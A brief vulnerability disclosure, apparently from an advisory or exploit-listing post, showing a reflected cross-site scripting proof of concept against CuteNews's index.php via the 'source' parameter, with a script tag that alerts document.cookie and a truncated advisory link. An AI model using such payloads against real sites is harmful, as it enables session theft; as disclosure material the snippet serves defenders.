Local XSS attack:
http://localhost/cutenews/index.php?...cript%3E%3C!--

http://localhost/cutenews/index.php?mod=editnews&action=list&source=<script> alert
(document.cookie)</script><!--

advisory:http://www.aria-security.net/advisor...s/cutenews.txt